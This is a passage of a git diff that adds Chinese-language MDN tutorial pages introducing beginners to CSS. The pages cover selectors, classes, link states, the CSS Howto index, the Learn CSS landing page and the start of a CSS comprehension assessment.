CSS。例如,你注意到某个属性和另外一些属性的相似点,并且它们可能确实是相同的格式。</p> + +<p>举个具体点的例子:如上文中的 Backgrounds and Borders 模块 — 你会发现 <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code> 和 <code><a href="/en-US/docs/Web/CSS/border-color">border-color</a></code> 这两个属性在逻辑上相通。并且它也确实如此。</p> + +<h3 id="CSS_规范">CSS 规范</h3> + +<p>所有的标准Web技术(HTML, CSS, JavaScript等) 都被定义在一个巨大的文档中,称作 规范specifications (或者简称为 "specs"),它是由 (像是 {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}} 或 {{glossary("Khronos")}}) 这些规范化组织所发布的,其中还定义了各种技术是如何工作的。</p> + +<p>CSS 也不例外 — 它是由W3C(万维网联盟)中的一个名叫 <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a> 团体发展起来的。这个团体是由浏览器厂商和其他公司中对 CSS 感兴趣的人作为代表组成的。也有其他的人员,比如<em>受邀专家(invited experts)</em>,他们作为不从属于任何组织的独立声音加入团体。</p> + +<p>新的 CSS 特性被开发出来,或是因为某个浏览器热衷于开发新功能,或是因为Web设计人员与开发者要求增加一个新特性,又或是 CSS Working Group 内部的讨论决定。CSS 始终在发展,并伴随着新的特性。然而,有一件事情从始至终都未改变,那就是不让新的改变破坏旧的网站,即使是2000年建立的网站,如今也能正常访问!</p> + +<p>作为一个 CSS 新手,你会发现阅读 CSS 规范 中的内容非常吃力 — 它旨在为工程师在用户代理(user agents)中实现对 CSS 各种特性的支持,而不是作为一本为Web开发者理解 CSS 内容的教程。即使是有经验的开发者,也更倾向于使用 MDN 文档或者其它教程。但是,知晓它的存在,理解 CSS、规范 和 浏览器支持(见下文) 之间的关系是很有价值的。</p> + +<h2 id="浏览器支持">浏览器支持</h2> + +<p>当一个浏览器支持 CSS 后,我们就可以用它来进行Web开发了。这意味着我们写在 CSS 文件中的代码可以被指令执行,展示到荧幕中。在 <a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_works">CSS 如何工作</a> 一节中我们会学习到更多的相关知识。但是让所有的浏览器都同时支持一个 CSS 新特性是不现实的,通常都会一个空档期 — 一些浏览器已经支持而另一些仍未支持。因此,查看特性的实现状态(implementation status)是非常有用的。在 MDN 上的每个属性的页面中都标有它们对应的状态,你可以通过这种方法来查看你是否可以去使用它。</p> + +<p>以下是 CSS <code><a href="/en-US/docs/Web/CSS/font-family">font-family</a></code> 属性的兼容数据表。</p> + +<p>{{Compat("css.properties.font-family")}}</p> + +<h2 id="下一步">下一步</h2> + +<p>现在你对 CSS 已经有了一定的理解,接下来,通过 <a href="/zh-CN/docs/Learn/CSS/First_steps/Getting_started">CSS 入门 </a><a href="/zh-CN/docs/Learn/CSS/First_steps/开始"> </a>的学习,你将可以自己写一些 CSS 代码了。</p> + +<p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/What_is_CSS">什么是 CSS?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/开始">CSS 入门</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured">如何构建CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行">CSS 如何工作</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge">用用你刚学到的知识</a></li> +</ol> diff --git a/files/zh-cn/learn/css/first_steps/开始/index.html b/files/zh-cn/learn/css/first_steps/开始/index.html new file mode 100644 index 0000000000..0a6087ee12 --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/开始/index.html @@ -0,0 +1,267 @@ +--- +title: 让我们开始CSS的学习之旅 +slug: Learn/CSS/First_steps/开始 +tags: + - CSS + - 元素 + - 初学者 + - 学习 + - 类 + - 选择器 +translation_of: Learn/CSS/First_steps/Getting_started +--- +<div> +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</p> +</div> + +<p class="summary">在这篇文章中,我们将会拿一个简单的HTML文档做例子,并且在上边使用CSS样式,期待你能在此过程中学会更多有关CSS的实战性知识。</p> + +<h4 id="前置知识">前置知识</h4> + +<p><font><font>在开始本单元之前,您应该:</font></font></p> + +<ul> + <li><font><font>基本熟悉计算机操作。</font></font></li> + <li><font><font>基本工作环境的设置(详见</font></font><font><font><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本软件</a>)</font></font><font><font>,基本的文件操作,详见</font></font><font><font><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></font></font><font><font>。</font></font></li> + <li>熟悉 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML概述</a> 章节中提到的基本HTML知识.</li> +</ul> + +<h4 id="目标">目标</h4> + +<ul> + <li>理解 HTML文档链接CSS文档的几个基本套路,</li> + <li>并能运用所学的CSS,做些文字上的格式化操作。</li> +</ul> + +<h2 id="先从HTML开始吧">先从HTML开始吧</h2> + +<p>我们先以HTML文档展开叙述。如果想在自己电脑试一试,可以copy下面的代码。在你的电脑上,将代码以文件名: <code>index.html</code> 的形式保存下来。</p> + +<pre class="brush: html"><!doctype html> +<html lang="en"> +<head> + <meta charset="utf-8"> + <title>开始学习CSS</title> +</head> + +<body> + + <h1>我是一级标题</h1> + + <p>这是一个段落文本. 在文本中有一个 <span>span element</span> +并且还有一个 <a href="http://example.com">链接</a>.</p> + + <p>这是第二段. 包含了一个 <em>强调</em> 元素.</p> + + <ul> + <li>项目1</li> + <li>项目2</li> + <li>项目 <em>三</em></li> + </ul> + +</body> + +</html> +</pre> + +<div class="blockIndicator note"> +<p><strong>温馨提示:假设你电脑操作环境不方便创建文件运行代码,别担心,可以用我们下方给出的在线实时代码编辑器。</strong></p> +</div> + +<h2 id="添加CSS试试看?">添加CSS试试看?</h2> + +<p>我们最想做的就是让HTML文档能够遵守我们给它的CSS规则。 其实有三种方式可以实现,而目前我们更倾向于利用最普遍且有用的方式——在文档的开头链接CSS。</p> + +<p>在与之前所说的HTML文档的相同目录创建一个文件,保存并命名为 <code>styles.css</code> 。(看后缀知道此文件就是CSS文件)</p> + +<p>为了把 <code>styles.css</code> 和 <code>index.html</code> 联结起来,可以在HTML文档中,{{htmlelement("head")}}语句模块里面加上下面的代码:</p> + +<pre class="brush: html"><link rel="stylesheet" href="styles.css"></pre> + +<p> {{htmlelement("link")}} 语句块里面,我们用属性<code>rel</code>,让浏览器知道有CSS文档存在(所以需要遵守CSS样式的规定),并利用属性 <code>href</code> 指定,寻找CSS文件的位置。 你可以做测试来验证CSS是否有效:在 <code>styles.css</code> 里面加上CSS样式并观察显示的结果。下面,用你的编辑器打出下面的代码。</p> + +<pre class="brush: css">h1 { + color: red; +}</pre> + +<p>保存HTML和CSS文档,刷新浏览器网页,不出意外你将看到网页顶层的大标题变成红色了。如果看到这个现象,我得恭喜你:你已经成功将某些CSS样式运用到HTML上了。当然假设没有达到预想结果,可以仔细检查每句代码是否正确,加油:)</p> + +<p>你可以一直在本地编辑器练习 <code>styles.css</code> ,或者采用我们教程下面的交互式智能编辑器。这个编辑器会默认把第一个面板里面的CSS代码联结到旁边的HTML文档,就好像我们上面得两个文档一样互相联结。</p> + +<h2 id="样式化_HTML_元素">样式化 HTML 元素</h2> + +<p>通过上一节将大标题变成红色的例子,我们已经展示了我们可以选中并且样式化 HTML 元素。我们通过触发元素选择器实现这一点——元素选择器,即直接匹配 HTML 元素的选择器。例如,若要样式化一个文档中所有的段落,只需使用选择器 <code>p</code>。若要将所有段落变成绿色,你可以利用如下方式:</p> + +<pre class="brush: css">p { + color: green; +}</pre> + +<p>用逗号将不同选择器隔开,即可一次使用多个选择器。譬如,若要将所有段落与列表变成绿色,只需:</p> + +<pre class="brush: css">p, li { + color: green; +}</pre> + +<p>您可以在下面的互动式文本编辑器上试试看,当然您也可以在本地的 CSS 文档上尝试。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} </p> + +<h2 id="改变元素的默认行为">改变元素的默认行为</h2> + +<p>只要一个 HTML 文档标记正确,即使像我们的例子那么简单,浏览器都会尽全力将其渲染至可读状态。标题默认使用大号粗体;列表旁总有项目符号。这是因为浏览器自带一个包含默认样式的样式表,默认对任何页面有效。没有了它们,所有文本会夹杂在一起变得一团糟,我们只得从头开始规定,好糟糕。话说回来,所有现代浏览器的默认样式都没什么差距。</p> + +<p>不过你可能对浏览器的默认样式不太满意。没关系,只需选定那个元素,加一条 CSS 规则即可。就拿我们的无序列表 <code><ul></code>举个例子吧,它自带项目符号,不过要是你跟它有仇,你就可以这样移除它们:</p> + +<pre class="brush: css">li { + list-style-type: none; +}</pre> + +<p>把上述代码加到你的 CSS 里面试一试!</p> + +<p>欢迎参阅 MDN 上的 <code>list-style-type</code> 属性,看看到底有哪些值被支持。 <code><a href="/en-US/docs/Web/CSS/list-style-type">list-style-type</a></code> 页首提供互动性示例,您可以输入不同的值来瞅一瞅它们到底有什么用。关于每个值的详细描述都规规整整地列在下面。</p> + +<p>通过参阅上述页面,你会发现你不仅能移除项目符号——你甚至能改变它们。赶快试试 <code>square</code>,它能把默认的小黑球变成方框框。</p> + +<h2 id="使用类名">使用类名</h2> + +<p>目前为止,我们通过 HTML 元素名规定样式。如果你愿意所有元素都一个样,也不是不可以,但大多数情况下,我估计你都不愿意。我知道你想干啥,你想用这种方式样式化这一片元素,又想用那种方式样式化那一片元素,真贪心。不过没关系,你可以给 HTML 元素加个类名(class),再选中那个类名,这样就可以了,大家基本上都这么用。</p> + +<p>举个例子吧,咱们把 <a href="/en-US/docs/Web/HTML/Global_attributes/class">class 属性</a>加到表里面第二个对象。你的列表看起来应该是这样的:</p> + +<pre class="brush: html"><ul> + <li>项目一</li> + <li <strong>class="special"</strong>>项目二</li> + <li>项目 <em>三</em></li> +</ul></pre> + +<p>在 CSS 中,要选中这个 <code>special</code> 类,只需在选择器的开头加个西文句点(.)。在你的 CSS 文档里加上如下代码:</p> + +<pre class="brush: css">.special { + color: orange; + font-weight: bold; +}</pre> + +<p>保存再刷新,就可以看到变化。</p> + +<p>这个 <code>special</code> 类型可不局限于列表,它可以应用到各种元素上。举个例子,你可能也想让段落里边的 <code><span></code> 一起又橙又粗起来。试试把<code>special</code> 类属性加上去,保存,刷新,哇,生活就是这么美好。</p> + +<p>有时你会发现选择器中,HTML 元素选择器跟类一起出现:</p> + +<pre>li.special { + color: orange; + font-weight: bold; +}</pre> + +<p class="brush: html">这个意思是说,“选中每个 <code>special</code> 类的 <code>li</code> 元素”。 你真要这样,好了,它对 <code><span></code> 还有其它元素不起作用了。你可以把这个元素再添上去就是了:</p> + +<pre class="brush: css">li.special, +span.special { + color: orange; + font-weight: bold; +}</pre> + +<p>你们都是懒人,肯定不想每加一个 special 类的元素就改一遍 CSS 表,你肯定想把一个类的属性应用到多个元素上。所以说,有时还是别管元素,光看类就完事了,除非你意志坚定,坚持对这个类的某一种元素创造规则,还不让其它元素用。</p> + +<h2 id="根据元素在文档中的位置确定样式">根据元素在文档中的位置确定样式</h2> + +<p>有时候,您希望某些内容根据它在文档中的位置而有所不同。这里有很多选择器可以为您提供帮助,但现在我们只介绍几个选择器。在我们的文档中有两个 <code><em></code>元素 ——一个在段落内,另一个在列表项内。仅选择嵌套在<code><li></code> 元素内的<code><em></code>我们可以使用一个称为<strong>包含选择符</strong>的选择器,它只是单纯地在两个选择器之间加上一个空格。</p> + +<p>将以下规则添加到样式表。</p> + +<pre class="brush: css">li em { + color: rebeccapurple; +}</pre> + +<p>该选择器将选择<code><li></code>内部的任何<code><em></code>元素(<code><li></code>的后代)。因此在示例文档中,您应该发现第三个列表项内的<code><em></code>现在是紫色,但是在段落内的那个没发生变化。</p> + +<p>另一些可能想尝试的事情是在HTML文档中设置直接出现在标题后面并且与标题具有相同层级的段落样式,为此需在两个选择器之间添加一个 <code>+</code> 号 (成为 <strong>相邻选择符</strong>) </p> + +<p>也将这个规则添加到样式表中:</p> + +<pre class="brush: css">h1 + p { + font-size: 200%; +}</pre> + +<p>下面的示例包含了上面的两个规则。 尝试添加规则使位于段落中的span变为红色。如果正确您将看到在第一段中的span会变为红色,但是第一个列表项中的span不会改变颜色。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 如你所见,CSS 给我们提供了几种定位元素的方法。到目前为止,我们只触及了皮毛!我们将对这些选择器进行适当的研究,更多的内容将在我们后面的<a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectors</a>章节中介绍。</p> +</div> + +<h2 id="根据状态确定样式">根据状态确定样式</h2> + +<p>在这篇教程中我们最后要看的一种修改样式的方法就是根据标签的状态确定样式。一个直观的例子就是当我们修改链接的样式时。 当我们修改一个链接的样式时我们需要定位(针对) <code><a href="/en-US/docs/Web/HTML/Element/a"><a></a></code> (锚)标签。取决于是否是未访问的、访问过的、被鼠标悬停的、被键盘定位的,亦或是正在被点击当中的状态,这个标签有着不同的状态。你可以使用CSS去定位或者说针对这些不同的状态进行修饰——下面的CSS代码使得没有被访问的链接颜色变为粉色、访问过的链接变为绿色。</p> + +<pre class="brush: css">a:link { + color: pink; +} + +a:visited { + color: green; +}</pre> + +<p>你可以改变链接被鼠标悬停的时候的样式,例如移除下划线,下面的代码就实现了这个功能。</p> + +<pre class="brush: css">a:hover { + text-decoration: none; +}</pre> + +<p>在下面的例子中,你可以对超链接的不同状态尝试各种各样的值。我已经编写了一些规则,然而你肯定已经发现粉色看上去太浅以至于不好辨认。— 换个更好的颜色吧。你能将链接变为黑体吗?</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} </p> + +<p>我们对鼠标悬停于链接上的情况删除了下划线。你当然可以让超链接在任何情况下都没有下划线.。但需要注意的是,对一个实际的站点,需要让浏览者知道“链接是链接”。为了让浏览者注意到一段文字中的某些部分是可点击的,最好保留link状态下的下划线。— 这是下划线的本来作用。不管你用CSS来做什么,都应当使得变化后的文档看上去更加清晰明了。— 在后面,当我们遇到类似的情况时,我们将适时指出。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 在本教程以及整个MDN站点中,你会经常看到“无障碍”这个词。“无障碍”一词的意思是,我们的网页应当每一个访客都能够理解、使用。</p> + +<p>你的访客可能在一台使用鼠标和键盘操作的计算机前,也可能正在使用带有触摸屏的手机,或者正在使用屏幕阅读软件读出文档内容,或者他们需要使用更大的字体,或者仅仅使用键盘浏览站点。</p> + +<p>一个朴素的HTML文档一般来说对任何人都是可以无障碍访问的 ,当你开始为它添加样式,记得不要破坏这种可访问性。</p> +</div> + +<h2 id="将选择子和关系选择器组合起来">将选择子和关系选择器组合起来</h2> + +<p>你可以将多个选择子和关系选择器组合起来。来看一些例子:</p> + +<pre class="brush: css">/* selects any <span> that is inside a <p>, which is inside an <article> */ +article p span { ... } + +/* selects any <p> that comes directly after a <ul>, which comes directly after an <h1> */ +h1 + ul + p { ... }</pre> + +<p>你可以将多种类型组合在一起。试试将下面的代码添加到你的代码里:</p> + +<pre class="brush: css">body h1 + p .special { + color: yellow; + background-color: black; + padding: 5px; +}</pre> + +<p>上面的代码为以下元素建立样式:在<body>之内,紧接在<h1>后面的<p>元素的内部,类名为special。</p> + +<p>在我们提供的原始HTML文档中,与之符合的元素只有<code><span class="special"></code>.</p> + +<p>如果你现在觉得这份代码太复杂了,别担心,— 一旦你开始编写更多的CSS代码,你很快就能找到窍门。</p> + +<h2 id="总结">总结</h2> + +<p>在本教程中,我们学习了使用CSS为文档添加样式的几种方法。在教程的剩下部分,我们将继续这个话题。不过,你现在已经有了足够的知识为文本建立样式;根据目标元素的不同用不同的方式应用样式;在MDN文档中查找属性和值。</p> + +<p>在下一节中,我们将看到样式表的结构是什么样的。</p> + +<p>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</p> + +<h2 id="在此模块">在此模块</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/What_is_CSS">什么是CSS?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/开始">开始学习CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS代码是如何组织的</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行">CSS是如何工作的</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge">开始使用你的新知识</a></li> +</ol> diff --git a/files/zh-cn/learn/css/howto/index.html b/files/zh-cn/learn/css/howto/index.html new file mode 100644 index 0000000000..ecf4c7891b --- /dev/null +++ b/files/zh-cn/learn/css/howto/index.html @@ -0,0 +1,80 @@ +--- +title: 解决常见的css问题 +slug: Learn/CSS/Howto +translation_of: Learn/CSS/Howto +--- +<p class="summary">以下链接提供了一些你在使用CSS时可能遇到的常见问题的解决方案。</p> + +<h2 id="主要使用事项">主要使用事项</h2> + +<div class="column-container"> +<div class="column-half"> +<h3 id="基础">基础</h3> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/CSS%E5%A6%82%E4%BD%95%E8%BF%90%E8%A1%8C#应用CSS到DOM">如何应用CSS到DOM中?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured#空白">CSS如何留白?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured#注释">CSS如何添加注释?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors#类型、类和ID选择器">CSS如何通过元素名、类名以及ID筛选元素?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors#标签属性选择器">CSS如何通过属性名和属性内容筛选元素?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors#伪类与伪元素">如何使用伪类?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors#伪类与伪元素">如何使用伪元素?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors#选择器列表">如何将多个选择器应用于同一个规则?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units#颜色">如何在CSS中指定颜色?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS#审查_CSS">如何在浏览器中调试CSS?</a></li> +</ul> + +<h3 id="样式和内容">样式和内容</h3> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/%E4%B8%BA%E6%96%87%E6%9C%AC%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F/Fundamentals">如何给文字添加样式?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/%E4%B8%BA%E6%96%87%E6%9C%AC%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F/Styling_lists">如何定制元素列表?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/%E4%B8%BA%E6%96%87%E6%9C%AC%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F/Styling_links">如何给链接添加样式?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/%E4%B8%BA%E6%96%87%E6%9C%AC%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F/Fundamentals#文字阴影">如何给文本添加阴影?</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="盒子和布局">盒子和布局</h3> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">如何调整CSS盒模型大小?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">如何控制盒模型溢出?</a></li> + <li><a href="/zh-CN/docs/Web/CSS/background-clip">如何控制CSS盒模型中背景绘制部分?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">如何理解 inline、block 以及 inline-block?</a></li> + <li><a href="/en-US/docs/Learn/CSS/Howto/create_fancy_boxes">How to create fancy boxes</a> (also see the <a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a> module, generally).</li> + <li><a href="/zh-CN/docs/Web/CSS/background-clip">如何使用 background-clip 控制背景图覆盖?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model#替代(IE)盒模型">如何使用box-sizing完全改变盒模型?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders#背景颜色">如何改变背景色?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders#玩转背景和边框">如何修改边框?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">如何给HTML表格添样式?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects#盒子阴影">如何添加盒子阴影?</a></li> +</ul> +</div> +</div> + +<h2 id="罕见问题与进阶技巧">罕见问题与进阶技巧</h2> + +<p>CSS允许一些高级的设计技巧。这些文章可以帮助您解决一些更复杂的使用案例。</p> + +<h3 id="通用">通用</h3> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance#优先级">如何计算CSS选择器的优先级?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance#控制继承">如何控制CSS中的继承?</a></li> +</ul> + +<h3 id="进阶效果">进阶效果</h3> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects#Filters%EF%BC%88%E6%BB%A4%E9%95%9C%EF%BC%89">如何使用CSS滤镜?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects#Blend_modes(混合模式)">如何在CSS中使用混合模式?</a></li> +</ul> + +<h3 id="布局">布局</h3> + +<ul> + <li><a href="/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">使用CSS flex布局</a></li> + <li><a href="/zh-CN/docs/Web/Guide/CSS/Using_multi-column_layouts">使用CSS多列布局</a></li> + <li><a href="/zh-CN/docs/Web/Guide/CSS/Getting_started/Content">使用CSS生成内容</a></li> +</ul> diff --git a/files/zh-cn/learn/css/index.html b/files/zh-cn/learn/css/index.html new file mode 100644 index 0000000000..fd8bb042cb --- /dev/null +++ b/files/zh-cn/learn/css/index.html @@ -0,0 +1,64 @@ +--- +title: CSS +slug: Learn/CSS +tags: + - Beginner + - CSS + - CodingScripting + - Debugging + - Landing + - NeedsContent + - Topic + - length + - specificity + - 入门 +translation_of: Learn/CSS +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">层叠样式表 — 也就是{{glossary("CSS")}} — 是你在{{glossary("HTML")}}之后应该学习的第二门技术。HTML用于定义内容的结构和语义,CSS用于设计风格和布局。比如,您可以使用CSS来更改内容的字体、颜色、大小、间距,将内容分为多列,或者添加动画及其他的装饰效果。</p> + +<h2 id="学习路径">学习路径</h2> + +<p>在尝试学习 CSS 之前,您应该了解 HTML 的基础知识。建议你先学习 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML 简介</a>模块 — 这一模块主要介绍了以下内容:</p> + +<ul> + <li>CSS,从 CSS 模块简介开始</li> + <li>更高级的<a href="/zh-CN/Learn/HTML#Modules">HTML模块</a></li> + <li><a href="/en-US/docs/Learn/JavaScript">JavaScript</a>,如何使用 Javascript 给网页加上动态功能</li> +</ul> + +<p>我们建议你同时学习 HTML 和 CSS,在这两个主题之间来回切换。因为有着 CSS 的 HTML 更加有趣,并且不了解 HTML 就不能真正掌握CSS。</p> + +<p>在学习本章节之前,你应该会使用计算机,熟练的使用网页操作(哪怕只是盯着屏幕看)。你应该配置好一个基本的操作环境(见<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本软件</a>),知道如何创建和管理文件(见<a href="/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>)—这两个都是 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web">Web入门</a> 的初学者模块的一部分。</p> + +<p>我们建议你在学习本章内容前,先完成 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web">Web入门</a>,尽管这不是必须的;CSS 基础文章中涵盖的大部分内容在 CSS 模块简介中也有,而且 CSS 模块涵盖了更多的细节。</p> + +<h2 id="模块">模块</h2> + +<p>本主题包含以下模块,建议按顺序阅读这些模块。你应该从第一个模块开始。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/CSS/First_steps">CSS 初步</a></dt> + <dd>这个模块介绍了使用 CSS 的基础知识,包括选择器和属性,编写 CSS 的规则,将CSS 应用于 HTML 的方法,如何在 CSS 中指定长度、颜色和其他单位,层叠与继承,盒模型基础以及 CSS 的调试。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_Blocks">构建 CSS 块</a></dt> + <dd>本模块承接<a href="/zh-CN/docs/Learn/CSS/First_steps">CSS 初步</a>,进行进一步的学习——既然你已经熟悉了CSS的语言和语法,有了一些使用CSS的基本经验,是时候再深入一些了。本模块涉及了层叠与继承、可用的所有种类的选择器、单位、尺寸、样式化背景和边框、调试,还有更多。</dd> + <dd>这样做的目的是,在继续深入到更加具体的规则,例如<a href="/zh-CN/docs/Learn/CSS/%E4%B8%BA%E6%96%87%E6%9C%AC%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F">样式化文本</a>和<a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout">CSS布局</a>前,为你提供一个用于编写堪用的CSS的工具箱,帮你理解所有必要的理论。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Styling_text">样式化文本</a></dt> + <dd>这个模块介绍基础的文本样式,包括字体属性的设置,粗体和斜体,行和字母间距,阴影和其他文本功能。我们通过在网页上设置特定的字体,指定列表和链接的样式来完成这一模块。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout">CSS 布局</a></dt> + <dd>到目前为止,我们已经学习了 CSS 基础知识、如何设置文本样式、如何设计并操作内容所在的框。现在应该考虑如何把你的框以合适的位置放置在视口内和其他框旁边了。我们已经学习了在深入 CSS 布局之前需要学会的必要知识,下一步我们通过学习设置 display 属性、使用新的布局工具如弹性盒(flexbox),CSS网格和定位、以及你仍想知道的一些传统技术,来深入学习 CSS 布局。</dd> +</dl> + +<h2 id="解决常见的CSS问题">解决常见的CSS问题</h2> + +<p><a href="/en-US/docs/Learn/CSS/Howto">使用CSS解决常见问题</a>解释了怎样使用CSS解决创建一个网页时常遇到的问题。</p> + +<p>从这里开始,你大致就能在HTML元素和它们的背景上应用颜色、改变形状尺寸和元素的位置、向元素上添加并定义边框。不过一旦你牢固掌握了即便是CSS最基础的部分,也没有很多做不到的事情。学习CSS最棒的一件事情就是,一旦你知道了基本的原理,即使你实际上不知道怎么做,你通常还是会很清楚什么能做到而什么不能做到!</p> + +<h2 id="参阅">参阅</h2> + +<dl> + <dt><a href="/en-US/docs/Web/CSS">CSS on MDN</a></dt> + <dd>MDN 上css文档的主要入口,包括详细的参考到高级的教程一系列内容。</dd> +</dl> diff --git a/files/zh-cn/learn/css/introduction_to_css/fundamental_css_comprehension/index.html b/files/zh-cn/learn/css/introduction_to_css/fundamental_css_comprehension/index.html new file mode 100644 index 0000000000..b246af87fe --- /dev/null +++ b/files/zh-cn/learn/css/introduction_to_css/fundamental_css_comprehension/index.html @@ -0,0 +1,127 @@ +--- +title: 基本的CSS理解 +slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension +tags: + - 初学者 + - 盒模型 + - 评估 + - 选择器 +translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</div> + +<p class="summary">你已经在这个模块中了解到了很多内容, 所以当你达到这个模块的最后一篇文章的时候,感觉一定非常不错吧!在你继续之前的最后一步,就是完成对于这个模块的测验。本次测验涉及到几个相关的练习,你必须按顺序完成,这样你才能设计出最终的成品:一张名片/游戏玩家卡片/社交媒体的简介。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习本章的前提条件:</th> + <td>在尝试这个测验之前,你应该已经完成了这个模块中所有文章的学习。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>来测试对 CSS 理论、语法、功能性的基本理解。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>在开始测验之前,你应该:</p> + +<ul> + <li>将 <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">HTML file for the exercise</a>, 和 <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">associated image file</a>,拷贝到你的本地环境中。如果你想使用自己的图片文件以及把你的名字写进资料里面的话,也没有问题,不过需要保证你提供的图像是正方形的。</li> + <li>下载 <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt">CSS resources text file</a> 到你的本地环境,这个文件包含了一组原始选择器和规则集。你需要学习并将他们组合,这是测验的一部分。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 另外, 你可以使用一个网站比如 <a class="external external-icon" href="http://jsbin.com/">JSBin</a> 或 <a class="external external-icon" 